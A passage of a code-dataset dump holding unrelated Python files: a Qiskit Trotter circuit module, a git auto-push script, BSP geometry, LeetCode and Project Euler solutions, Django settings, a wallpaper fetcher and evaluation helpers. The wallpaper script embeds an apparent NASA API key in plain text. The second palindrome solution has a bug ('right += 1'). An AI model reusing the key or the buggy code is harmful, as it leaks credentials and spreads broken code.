1) // 2)\n return phs + quarter_pi * (num_qubits - 1)\n else:\n return phs\n\n\ndef trotter_circuit(\n qc: QuantumCircuit,\n *,\n dt: float,\n delta: float,\n num_trotter_steps: int,\n second_order: bool,\n) -> QuantumCircuit:\n \"\"\"\n Generates a 1st or 2nd order Trotter circuit and adds it to the input one.\n By definition, a single \"Trotter step\" is a full layer of elementary.\n 2-qubit Trotter blocks applied to every pair of adjacent qubits.\n The parameter ``num_trotter_steps`` defines the number of layers in the\n circuit. The parameter ``dt`` characterizes the evolution time per step\n (layer). The total evolution time is equal to ``dt * num_trotter_steps``.\n\n **Note**, 2nd order Trotter circuit comprises additional half-layer at the end.\n\n **Note**, currently we ignore the global phase, see the remark at the\n beginning of this script.\n\n Args:\n qc: quantum circuit to be augmented by the Trotter one.\n dt: evolution time per step (layer) in Trotter algorithm.\n delta: parameter of corresponding Hamiltonian.\n num_trotter_steps: number of Trotter steps (layers).\n second_order: True, if the 2nd order Trotter is intended.\n\n Returns:\n quantum circuit augmented by the Trotter one.\n \"\"\"\n assert isinstance(qc, QuantumCircuit) and qc.num_qubits > 0\n assert chk.is_int(num_trotter_steps, num_trotter_steps > 0)\n\n def _trotter_block(k: int, params: np.ndarray):\n qc.rz(-np.pi / 2, k + 1)\n qc.cnot(k + 1, k)\n qc.rz(params[0], k)\n qc.ry(params[1], k + 1)\n qc.cnot(k, k + 1)\n qc.ry(params[2], k + 1)\n qc.cnot(k + 1, k)\n qc.rz(np.pi / 2, k)\n\n # Compute Trotter parameters. In case of 2nd order, the first and the trail\n # half-layers should be initialized differently (\"betas\").\n alphas = trotter_alphas(dt, delta)\n betas = trotter_alphas(dt * 0.5, delta) # dt/2 (!) in first/last half-layers\n\n # Build the main part of the 1st or 2nd order Trotter circuit.\n for j in range(num_trotter_steps):\n for q in range(0, qc.num_qubits - 1, 2): # 1st half of a layer\n _trotter_block(q, betas if second_order and j == 0 else alphas)\n for q in range(1, qc.num_qubits - 1, 2): # 2nd half of a layer\n _trotter_block(q, alphas)\n\n # For 2nd order Trotter, we add an extra half-layer identical to the front one.\n if second_order:\n for q in range(0, qc.num_qubits - 1, 2):\n _trotter_block(q, betas)\n\n return qc\n\n\ndef identity_circuit(num_qubits: int) -> QuantumCircuit:\n \"\"\"\n Returns the identity (empty) quantum circuit.\n \"\"\"\n assert chk.is_int(num_qubits, num_qubits >= 2)\n return QuantumCircuit(num_qubits)\n\n\ndef neel_init_state(num_qubits: int) -> QuantumCircuit:\n \"\"\"\n Returns quantum circuit that produces the state ``|101010...>``\n (Neel state) of alternating units from the state ``|0>``.\n \"\"\"\n assert chk.is_int(num_qubits, num_qubits >= 2)\n qc = QuantumCircuit(num_qubits)\n for k in range(0, num_qubits, 2):\n qc.x(k)\n return qc\n\n\ndef half_zero_circuit(num_qubits: int) -> QuantumCircuit:\n \"\"\"\n Returns quantum circuit that produces the state ``|00...0011...11>``\n of half-zero/half-unit bits from the state ``|0>``.\n \"\"\"\n assert chk.is_int(num_qubits, num_qubits >= 2)\n qc = QuantumCircuit(num_qubits)\n for k in range(num_qubits // 2, num_qubits):\n qc.x(k)\n return qc\n\n\ndef fidelity(\n state1: Union[mpsop.QiskitMPS, np.ndarray],\n state2: Union[mpsop.QiskitMPS, np.ndarray],\n) -> float:\n \"\"\"Computes fidelity between two states, which must have the same type.\"\"\"\n if isinstance(state1, np.ndarray) and isinstance(state2, np.ndarray):\n assert chk.complex_1d(state1) and chk.complex_1d(state2)\n return float(np.abs(np.vdot(state1, state2)) ** 2)\n else:\n return float(np.abs(mpsop.mps_dot(state1, state2)) ** 2)\n\n\ndef state_difference(state1: np.ndarray, state2: np.ndarray) -> float:\n \"\"\"Computes norm of state difference. **Note**, phase factor can crucial.\"\"\"\n assert chk.complex_1d(state1) and chk.complex_1d(state2)\n return float(np.linalg.norm(state1 - state2))\n\n\ndef slice2q(\n circ: ParametricCircuit,\n vec: np.ndarray,\n *,\n layer_range: Optional[Tuple[int, int]] = None,\n) -> Tuple[np.ndarray, Tuple[int, int]]:\n \"\"\"\n Returns a slice of input vector's entries pertaining to the range of\n layers specified. Actually, a view of the vector is returned.\n\n **Note**, here ``layer`` is a collection of (num_qubit - 1) triplets of\n unit-blocks. Triplet structure of ansatz resembles (but not coincides with)\n the Trotter circuit and has 12 parameters.\n\n Args:\n circ: parametrized ansatz circuit.\n vec: vector of parameters or gradients to be sliced.\n layer_range: range of layers to get a slice of vector entries for;\n entire range is implied for the None value.\n\n Returns:\n (1) 3D array of reshaped entries of the input vector, the 1st index\n enumerates selected layers in the range, the 2nd index enumerates 2-qubit\n triplets of blocks (Trotter units), the 3rd index enumerates 1-qubit gates\n in a triplet (and corresponding entries in ``vec``).\n (2) range of layers; validated to the full range in case of None\n input value.\n \"\"\"\n if not isinstance(circ, TrotterAnsatz):\n raise ValueError(\"expects Trotterized ansatz\")\n assert isinstance(vec, np.ndarray) and vec.shape == (circ.num_thetas,)\n\n num_layers = circ.num_layers\n layer_range = (0, num_layers) if layer_range is None else layer_range\n\n assert chk.is_tuple(layer_range, len(layer_range) == 2)\n assert num_layers * circ.bpl == circ.num_blocks\n assert 0 <= layer_range[0] < layer_range[1] <= num_layers\n\n # Get a sub-set of layers, each layer consists of n-1 triplets of CX-blocks\n # with 12 (3 * 4) angular parameters in every triplet.\n vec2q = circ.subset2q(vec).reshape((num_layers, circ.num_qubits - 1, 12))\n vec2q = vec2q[layer_range[0] : layer_range[1]]\n assert np.shares_memory(vec2q.ravel(), vec) # \"vec2q\" is a view of \"vec\"\n return vec2q, layer_range\n\n\ndef init_ansatz_to_trotter(\n circ: ParametricCircuit,\n thetas: np.ndarray,\n *,\n evol_time: float,\n delta: float,\n layer_range: Optional[Tuple[int, int]] = None,\n) -> np.ndarray:\n \"\"\"\n Modifies the angular parameter ``thetas``, within specified range of layers,\n in such way that ansatz becomes equivalent the Trotter circuit. This function\n is used to generate the best possible initial vector of angular parameters\n for optimization.\n\n Args:\n circ: parametric circuit associated with this objective.\n thetas: angular parameters of the circuit.\n evol_time: evolution time; unit-block layers within ``layer_range``\n should model state evolution for that time.\n delta: parameter in corresponding Hamiltonian.\n layer_range: a couple of indices ``[from, to)`` that defines a range of\n unit-block layers to be initialized; None value implies\n a full range.\n\n Returns:\n vector of angular parameters ``thetas`` initialized to reproduce\n Trotter circuit.\n \"\"\"\n th2q, layer_range = slice2q(circ, thetas, layer_range=layer_range)\n delta_t = evol_time / float(layer_range[1] - layer_range[0])\n alphas = trotter_alphas(dt=delta_t, delta=delta)\n assert chk.float_1d(alphas, alphas.size == 3)\n assert isinstance(circ, TrotterAnsatz)\n layer_0 = first_layer_included(circ, layer_range)\n\n # If the first layer of unit-blocks is included, we set the front layer\n # of 1-qubit gates to zero. Do NOT be confused: \"front layer\" of 1-qubit\n # gates and the \"first layer\" of 2-qubit unit-blocks are different notions.\n if layer_0:\n circ.subset1q(thetas).fill(0)\n\n # Most of angular parameters are equal zero except 3 ones per block triplet.\n th2q.fill(0)\n th2q[:, :, 5] = alphas[0]\n th2q[:, :, 0] = alphas[1]\n th2q[:, :, 6] = alphas[2]\n\n # In case of the 2nd order Trotter and if the first layer is included in the\n # requested range, we initialize differently the front and trail half-layers.\n # Recall, the trailing half-layer takes exactly the same parameters as the\n # first one, although it does not present explicitly in TrotterAnsatz.\n if circ.is_second_order and layer_0:\n alphas = trotter_alphas(dt=delta_t * 0.5, delta=delta) # dt/2 (!)\n half = circ.half_layer_num_blocks // 3 # half of triplets in layer_0\n assert 3 * half == circ.half_layer_num_blocks # divisible\n th2q[0, 0:half, 5] = alphas[0]\n th2q[0, 0:half, 0] = alphas[1]\n th2q[0, 0:half, 6] = alphas[2]\n\n return thetas\n","repo_name":"qiskit-community/aqc-research","sub_path":"aqc_research/model_sp_lhs/trotter/trotter.py","file_name":"trotter.py","file_ext":"py","file_size_in_byte":18900,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"32208722214","text":"import os\nimport subprocess\nfrom datetime import datetime\n\n# 設置日誌文件的路徑\nlog_file_path = 'git_push_log.txt'\n\n# 讀取目錄清單文件\nwith open('directory_list.txt', 'r') as file:\n directories = [line.strip() for line in file]\n\n# GitHub 存儲庫 URL\nrepo_url = 'https://github.com/username/repo.git'\n\n# 提交訊息\ncommit_message = f'Auto commit at {datetime.now()}'\n\n\n# 開啟日誌文件,以附加模式('a')\nwith open(log_file_path, 'a') as log_file:\n for directory_path in directories:\n try:\n # 變換到資料夾目錄\n os.chdir(directory_path)\n\n # 執行 Git 命令\n subprocess.run(['git', 'pull'])\n subprocess.run(['git', 'add', '.'])\n subprocess.run(['git', 'commit', '-m', commit_message])\n # subprocess.run(['git', 'push', repo_url, 'master'])\n subprocess.run(['git', 'push'])\n\n # 寫入成功信息到日誌文件\n log_file.write(f'Successfully pushed changes for {directory_path}\\n')\n\n except Exception as e:\n # 寫入例外情況信息到日誌文件\n log_file.write(f'Error pushing changes for {directory_path}: {str(e)}\\n')\n\n# 提示腳本執行完成\nprint('Script execution completed.')\n \n","repo_name":"IceTeaOxO/gitTask","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"13984230456","text":"class Segment:\n\n def __init__(self, start, end):\n self.start = start\n self.end = end\n\n def split(self, other):\n A = []\n b = []\n\n # get line equations\n A.append([self.start[1] - self.end[1], self.end[0] - self.start[0]])\n A.append([other.start[1] - other.end[1], other.end[0] - other.start[0]])\n b.append(self.end[0]*self.start[1] - self.start[0]*self.end[1])\n b.append(other.end[0]*other.start[1] - other.start[0]*other.end[1])\n\n # calc determinant\n det = A[0][0]*A[1][1] - A[0][1]*A[1][0]\n if abs(det) < 0.0001:\n return None\n\n det_x = b[0]*A[1][1] - b[1]*A[0][1]\n det_y = A[0][0]*b[1] - A[1][0]*b[0]\n p = det_x/det, det_y/det\n return Segment(self.start, p), Segment(p, self.end)\n\n def facing(self, point):\n u = self.end[0] - self.start[0], self.end[1] - self.start[1]\n v = point[0] - self.start[0], point[1] - self.start[1]\n return u[0]*v[1] - u[1]*v[0]\n\n def side(self, other):\n num_front = 0\n num_behind = 0\n\n # classify each point\n if self.facing(other.start) < -0.0001:\n num_behind += 1\n elif self.facing(other.start) > 0.0001:\n num_front += 1\n\n if self.facing(other.end) < -0.0001:\n num_behind += 1\n elif self.facing(other.end) > 0.0001:\n num_front += 1\n\n if num_front == 0 and num_behind > 0:\n return \"behind\"\n elif num_behind == 0 and num_front > 0:\n return \"infront\"\n elif num_behind == 0 and num_front == 0:\n return \"coincident\"\n\n return \"spanning\"\n \n def __repr__(self):\n return \"\" % (str(self.start), str(self.end))\n\n\nclass Node:\n\n def __init__(self):\n self.segments = []\n self.left = None\n self.right = None\n\n\ndef binary_space_partition(segments):\n if len(segments) == 0:\n return None\n\n n = len(segments) // 2\n s = segments[n]\n infront = []\n behind = []\n\n node = Node()\n\n for segment in segments:\n side = s.side(segment)\n\n if side == \"coincident\":\n node.segments.append(segment)\n elif side == \"infront\":\n infront.append(segment)\n elif side == \"behind\":\n behind.append(segment)\n else:\n s1, s2 = segment.split(s)\n \n if s.side(s1) == \"behind\":\n behind.append(s1)\n infront.append(s2)\n elif s.side(s1) == \"infront\":\n infront.append(s1)\n behind.append(s2)\n else:\n raise Exception(\"sounds like it has a bug\")\n\n node.left = binary_space_partition(infront)\n node.right = binary_space_partition(behind)\n return node\n\n","repo_name":"zzag/codesamples","sub_path":"binary_space_partition.py","file_name":"binary_space_partition.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"43518854113","text":"#!/usr/bin/env python\n# coding=utf-8\n\n\nclass Solution:\n def isPlaindrome(self, s: 'str') -> 'bool':\n if len(s) < 2:\n return True\n sList = []\n s = s.lower()\n for word in s:\n if word.isalnum():\n sList.append(word)\n n = len(sList) // 2\n if sList[:n] == sList[::-1][:n]:\n return True\n return False\n\n\nclass Solution:\n def isPlaindrome(self, s: 'str') -> 'bool':\n if len(s) < 2:\n return True\n s = s.lower()\n left = 0\n right = len(s) - 1\n while right - left > 0:\n if not s[left].isalnum():\n left += 1\n continue\n if not s[right].isalnum():\n right += 1\n continue\n if s[left] == s[right]:\n left += 1\n right -= 1\n else:\n return False\n return True\n","repo_name":"DavidHydroneWang/ProgramExercise","sub_path":"Python/TuJie_LeetCode_Python/Chapter5/isPlaindrome.py","file_name":"isPlaindrome.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"74280373656","text":"import os\nimport progressbar\nimport shutil\nimport pandas as pd\n\n\n# asf (0 , 2), (4 , 6), (8 , 12), (15 , 20), (25 , 32), (38 , 43), (48 , 53), (60 , 100)\ndef making_folders():\n cwd = os.getcwd()\n train = os.path.join(cwd, 'train_age')\n val = os.path.join(cwd, 'val_age')\n os.mkdir(train)\n os.mkdir(val)\n\n for i in range(8):\n a = os.path.join(train, str(i))\n os.mkdir(a)\n \n for i in range(8):\n a = os.path.join(val, str(i))\n os.mkdir(a)\n\n\ndef making_csv():\n cwd = os.getcwd()\n dirs = os.listdir(cwd)\n lines = []\n for i in dirs:\n a = i.split('_')\n if(len(a) >= 2):\n if(a[0] == 'fold'):\n file = open(i, 'r')\n l = file.readlines()\n for ii in l:\n lines.append(str(ii))\n \n main_folder = os.path.join(cwd, 'old_train_test_val')\n sub_folder = os.listdir(main_folder) # train, test, val\n files_names = []\n for i in sub_folder:\n s = os.path.join(main_folder, str(i))\n female_male = os.listdir(s)\n for j in female_male:\n name = os.path.join(main_folder, str(i)+'/'+str(j))\n files = os.listdir(name)\n for k in files:\n files_names.append(str(k))\n \n # (0-2)->1, (4-6)->2, (8-12)->3, (15-20)->4, (25-32)->5, (38-43)->6, (48-53)->7, (60-100)->8 \n cat = ['(0, 2)', '(4, 6)', '(8, 12)', '(8, 23)', '(15, 20)', '(25, 32)', '(27, 32)', '(38, 42)', '(38, 43)', '(38, 48)', '(48, 53)', '(60, 100)']\n # 0->1 1->2 2->3 3->4 4->4 5->5 6->5 7->6 8->6 9->6 10->7 11->8 \n age_c = []\n for i in lines:\n line = i.split('\\t')\n age = line[3]\n if(age not in age_c):\n if(len(age.split()) > 1):\n age_c.append(age)\n print(age_c)\n name_csv = []\n label_csv = []\n per = 0\n bar = progressbar.ProgressBar(maxval=len(lines), widgets=[progressbar.Bar('=', '[', ']'), ' ', progressbar.Percentage()])\n bar.start()\n for i in lines:\n bar.update(per+1)\n per+=1\n line = i.split('\\t')\n if(len(line) < 4):\n continue\n name = line[1]\n type_ = line[2]\n age = str(line[3])\n if(age not in cat):\n continue\n fuddu = age.split()\n l = len(fuddu)\n if(l <= 1):\n continue\n else:\n for j in files_names:\n fullname = j.split('.')\n if(len(fullname) > 3):\n a = fullname[-2]+'.jpg'\n b = fullname[-3]\n if(a == name and b == type_):\n name_csv.append(j)\n if(age == cat[0]): label_csv.append(1)\n elif(age == cat[1]): label_csv.append(2)\n elif(age == cat[2]): label_csv.append(3)\n elif(age == cat[3] or age == cat[4]): label_csv.append(4)\n elif(age == cat[5] or age == cat[6] ): label_csv.append(5)\n elif(age == cat[7] or age == cat[8] or age == cat[9]): label_csv.append(6)\n elif(age == cat[10]): label_csv.append(7)\n elif(age == cat[11]): label_csv.append(8)\n else:\n print('Fault')\n exit(0)\n \n list_of_tuples = list(zip(name_csv, label_csv)) \n dataframe = pd.DataFrame(list_of_tuples, columns = ['name', 'label'])\n print(dataframe.head())\n dataframe.to_csv('name_label.csv', index=False)\n df = pd.read_csv('name_label.csv')\n print(df.head())\n\n\n\nmaking_csv()\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Amrit-pal-Singh/Gender-age-expression-detector","sub_path":"src/making_age_csv.py","file_name":"making_age_csv.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"10818923540","text":"import os\nfrom os import path\nimport dj_database_url\nif path.exists(\"env.py\"):\n import env\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.getenv(\"SECRET_KEY\")\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = os.environ.get(\"DEV\")\n\n\nALLOWED_HOSTS = ['127.0.0.1',\n 'fragile-art.herokuapp.com', 'fragileart.rwells.dev']\n\n\n# Application definition\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth', # Needed for Allauth, do not remove!\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages', # Needed for Allauth, do not remove!\n 'django.contrib.staticfiles',\n 'django.contrib.sites',\n\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n\n 'home',\n 'portfolio',\n 'store',\n 'clients',\n 'contact',\n 'basket',\n 'checkout',\n 'users',\n 'storages',\n\n # additionals\n\n 'crispy_forms',\n 'sweetify'\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'FragileArt.urls'\n\nCRISPY_TEMPLATE_PACK = 'bootstrap4'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [\n os.path.join(BASE_DIR, 'templates'),\n os.path.join(BASE_DIR, 'templates', 'allauth'),\n ],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'basket.contexts.basket_contents',\n ],\n 'builtins': [\n 'crispy_forms.templatetags.crispy_forms_tags',\n 'crispy_forms.templatetags.crispy_forms_field',\n ]\n },\n },\n]\n\nAUTHENTICATION_BACKENDS = (\n # Needed to login by username in Django admin, regardless of `allauth`\n 'django.contrib.auth.backends.ModelBackend',\n\n # `allauth` specific authentication methods, such as login by e-mail\n 'allauth.account.auth_backends.AuthenticationBackend',\n)\n\nWSGI_APPLICATION = 'FragileArt.wsgi.application'\n\n\nSITE_ID = 1\n\nACCOUNT_AUTHENTICATION_METHOD = 'username_email'\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_SIGNUP_EMAIL_ENTER_TWICE = False\nACCOUNT_USERNAME_MIN_LENGTH = 6\nLOGIN_URL = '/accounts/login/'\nLOGIN_REDIRECT_URL = '/store/'\nACCOUNT_SIGNUP_REDIRECT_URL = '/store/'\nACCOUNT_EMAIL_VERIFICATION = 'none'\n\n\n# Database\n# https://docs.djangoproject.com/en/3.0/ref/settings/#databases\n\nDATABASES = {\n 'default': dj_database_url.parse(os.environ.get('DATABASE_URL'))\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\nprint(\"hello there\")\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nif 'USE_AWS' in os.environ:\n\n AWS_S3_OBJECT_PARAMETERS = {\n 'Expires': 'Thu, 31 Dec 2099 20:00:00 GMT',\n 'CacheControl': 'max-age=94608000',\n }\n\n AWS_STORAGE_BUCKET_NAME = 'fragileart'\n AWS_S3_REGION_NAME = 'eu-west-2'\n AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')\n AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')\n AWS_S3_CUSTOM_DOMAIN = f'{AWS_STORAGE_BUCKET_NAME}.s3.amazonaws.com'\n\n STATICFILES_STORAGE = 'custom_storages.StaticStorage'\n STATICFILES_LOCATION = 'staticfiles'\n DEFAULT_FILE_STORAGE = 'custom_storages.MediaStorage'\n MEDIAFILES_LOCATION = 'media'\n\nSTATIC_URL = f'https://{AWS_S3_CUSTOM_DOMAIN}/{STATICFILES_LOCATION}/'\nMEDIA_URL = f'https://{AWS_S3_CUSTOM_DOMAIN}/{MEDIAFILES_LOCATION}/'\n\nSTATICFILES_DIRS = (os.path.join(BASE_DIR, 'static'),)\nSTATIC_ROOT = os.path.join(STATIC_URL, 'staticfiles')\nSTATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'\n\nMEDIA_ROOT = os.path.join(MEDIA_URL, 'media')\n\nDELIVERY_PERCENTAGE = 15\n\n# stripe settings\n\nSTRIPE_CURRENCY = 'GBP'\nSTRIPE_PUBLIC_KEY = os.getenv('STRIPE_PUBLIC_KEY', '')\nSTRIPE_SECRET_KEY = os.getenv('STRIPE_SECRET_KEY', '')\n\n# sweetalert specification\nSWEETIFY_SWEETALERT_LIBRARY = 'sweetalert2'\n","repo_name":"D0nni387/FragileArt","sub_path":"FragileArt/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"5998088460","text":"# The objective is to find the greatest prime factor of 600851475143\n\nimport time\n\nfrom functools import reduce\n\ndef factors(n): \n return set(reduce(list.__add__, \n ([i, n//i] for i in range(1, int(n**0.5) + 1) if n % i == 0)))\n\ndef check_if_prime(n):\n if n == 1:\n return False\n \n i = 2\n while (i**2) <= n:\n if n % i == 0:\n return False\n i += 1\n return True\n \n\n\ndef greatest_prime_factor(n):\n start = time.time()\n list_of_factors_of_n = factors(n)\n list_of_prime_factors_of_n = []\n for j in list_of_factors_of_n:\n if check_if_prime(j) == True:\n list_of_prime_factors_of_n.append(j)\n else:\n continue\n duration = time.time() - start\n return sorted(list_of_prime_factors_of_n)[-1:],duration\n\n\ndef run():\n print(greatest_prime_factor(600851475143))\n\nif __name__ == \"__main__\":\n run()\n\n","repo_name":"rbanerjee919/Project-Euler-Problems","sub_path":"Problem 3.py","file_name":"Problem 3.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"17669159177","text":"import copy\nfrom collections import deque\n\nsubin, bro = map(int, input().split(\" \"))\n\nvisit = [False for i in range(100001)]\nvisit[subin] = True\nresult = 100001\nif subin==bro:\n print(0)\n print(1)\nelse:\n q = [[subin, 0]]\n q = deque(q)\n result_count = 0\n while q:\n popped = q.popleft()\n visit[popped[0]] = True\n\n if popped[0] == bro and popped[1] < result:\n result = popped[1]\n result_count = 1\n continue\n\n elif popped[0] == bro and popped[1] == result:\n result_count += 1\n continue\n\n if popped[0] + 1 <= 100000 and visit[popped[0] + 1] is False:\n q.append([popped[0] + 1, popped[1] + 1])\n\n if popped[0] - 1 >= 0 and visit[popped[0] - 1] is False:\n q.append([popped[0] - 1, popped[1] + 1])\n\n if popped[0] * 2 <= 100000 and visit[popped[0] * 2] is False:\n q.append([popped[0] * 2, popped[1] + 1])\n\n print(result)\n print(result_count)\n","repo_name":"ehddn5252/Algorithm","sub_path":"personalWorkspace/backjoon/etc/Bj12851.py","file_name":"Bj12851.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"}
+{"seq_id":"9798816290","text":"from os import getenv, walk, remove, link, listdir\nfrom os.path import exists, join\nfrom os.path import split as psplit\nfrom json import load, dump\nfrom subprocess import run, Popen, PIPE\nfrom re import compile\nfrom ictl.util import Logger, tmenu_select, sh, fork, httprequest, find, randstr\nfrom io import open\nfrom ictl.config import ctrl_bin, pop_term, Cfg\nfrom time import time\nfrom random import Random\nfrom sys import argv\nfrom ictl.config import get_renderer\n\nlogger = Logger()\nrnd = Random()\nrnd.seed(int(time()) + 19)\n\nHome = getenv(\"HOME\") \nwlprs = Home + \"/.wlprs/\"\n\nurlr = {\n \"bing\": {\n \"url\": lambda: \"https://www.bing.com/HPImageArchive.aspx?format=xml&idx=%s&n=1\" % randstr(13),\n \"parse\": lambda s: (\n (lambda res: (\n \"http://www.bing.com\" + res,\n res[res.find(\"id=\") + 3:res.find(\"jpg\") + 3]\n ))(s[s.find(\"\") + 5:s.find(\"\") - 1])\n )\n },\n \"nasa\": {\n \"url\": lambda: \"https://api.nasa.gov/planetary/apod?api_key=cRFIBE5eZnucIQxhm3jJGJopmXDBTQsTkAQal6Qu&count=1\",\n \"parse\": lambda s: print(\"TODO %s\" % s)\n }\n}\n\ndef getwallpaper(provider='bing'):\n print(\"#getwallpaper provider %s\" % provider)\n pro = urlr[provider]\n status, _, body = httprequest(\"GET\", pro[\"url\"]())\n print(\"#getwallpaper response: [%s] [%s]\" % (status, body))\n if status != 200:\n return\n url, name = pro[\"parse\"](body.decode())\n print(\"#getwallpaper: [%s] [%s]\" % (url, name))\n status,_,body = httprequest(\"GET\", url)\n with open(wlprs + name, \"wb\") as file:\n file.write(body)\n if exists(wlprs + \"wallpaper\"):\n remove(wlprs + \"wallpaper\")\n link(wlprs + name, wlprs + \"wallpaper\")\n return wlprs + name\n\ndef selectwallpaper(dir):\n wps = listdir(dir)\n if wps:\n return join(dir, rnd.choice(wps))\n\ndef applywallpaper():\n if Cfg[\"wallpapermode\"] == \"new\":\n try:\n wp = getwallpaper()\n except e as Exception:\n print(\"could not get wallpaper\", e)\n wp = selectwallpaper(wlprs)\n elif Cfg[\"wallpapermode\"] == \"fixed\":\n wp = Home + \"/\" + Cfg[\"wallpaperfixd\"]\n elif Cfg[\"wallpapermode\"] == \"folder\":\n wp = selectwallpaper(Home + \"/\" + Cfg[\"wallpapersdir\"])\n else:\n wp = selectwallpaper(wlprs)\n print(\"applying wallpaper %s\" % wp)\n applywallpaperCmd(wp)\n\ndef applywallpaperCmd(wp):\n r = get_renderer()\n if r.find('wayland') > -1:\n sh([\"killall\", \"-q\",\"swaybg\"])\n fork([\"swaybg\", \"-m\", \"center\", \"-i\", wp])\n else:\n sh([\"feh\", \"--bg-scale\", wp])\n\ndef tmenu_set_wallpaper():\n wps = {}\n for k,v in find(wlprs):\n wps[k] = v\n sel = tmenu_select(wps)\n if sel:\n applywallpaperCmd(wps[sel])\n\ndef dmenu_set_wallpaper():\n sh(pop_term(ctrl_bin([\"tmenu_wallpaper\"])))\n\nif __name__ == '__main__':\n mf = {\n '-t': tmenu_set_wallpaper,\n '-d': dmenu_set_wallpaper,\n '-get': getwallpaper,\n '-set': applywallpaper}\n mf[argv[1]]()\n","repo_name":"bucketsize/ictl","sub_path":"ictl/wallpaper.py","file_name":"wallpaper.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"28104605295","text":"import random\nimport numpy as np\nimport torch\nfrom sklearn.metrics import confusion_matrix, f1_score\nfrom edien.utils import get_current_git_hash\n\n\ndef patch_param_grid(bp):\n # sklearn annoyingly checks types\n if hasattr(bp, 'keys'):\n for k in bp.keys():\n if k == 'param_grid':\n print('Found gridsearch CV and patched')\n setattr(bp, k, bp[k].as_dict())\n else:\n patch_param_grid(bp[k])\n\n\ndef only_pseudorandomness_please(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n\ndef report_eval(true, preds, labels, verbose=False):\n cm = confusion_matrix(true, preds, labels=labels)\n cm = np.array(cm)\n\n PAD = 30\n # Smooth out dividing zeros\n epsilon = 1e-6\n macro_recall = np.diag(cm) / (cm.sum(axis=1) + epsilon)\n macro_precision = np.diag(cm) / (cm.sum(axis=0) + epsilon)\n macro_f1 = (2 * macro_precision * macro_recall)/(macro_precision + macro_recall + epsilon)\n\n # Micro f1 is the same as accuracy for multi-class\n micro_f1 = np.diag(cm).sum() / cm.sum()\n\n # micro_recall = np.diag(cm).sum() / cm.sum()\n # micro_precision = np.diag(cm).sum() / cm.sum()\n\n counts = cm.sum(axis=1)\n if verbose:\n print('%s\\t%s\\t%s\\t%s\\t%s' % ('Score'.ljust(PAD), 'F1', 'Prec', 'Rec', 'Counts'))\n for l, f, p, r, c in zip(labels, macro_f1, macro_precision, macro_recall, counts):\n print('%s\\t%.2f\\t%.2f\\t%.2f\\t%d' % (l.ljust(PAD),\n f * 100,\n p * 100,\n r * 100,\n c))\n print('='*60)\n print('%s\\t%.2f\\t%.2f\\t%.2f\\t%d' % ('Total Macro:'.ljust(PAD),\n macro_f1.mean() * 100,\n macro_precision.mean() * 100,\n macro_recall.mean() * 100,\n counts.sum()))\n print('%s\\t%.2f' % ('Total Micro:'.ljust(PAD), micro_f1 * 100))\n # print(cm)\n 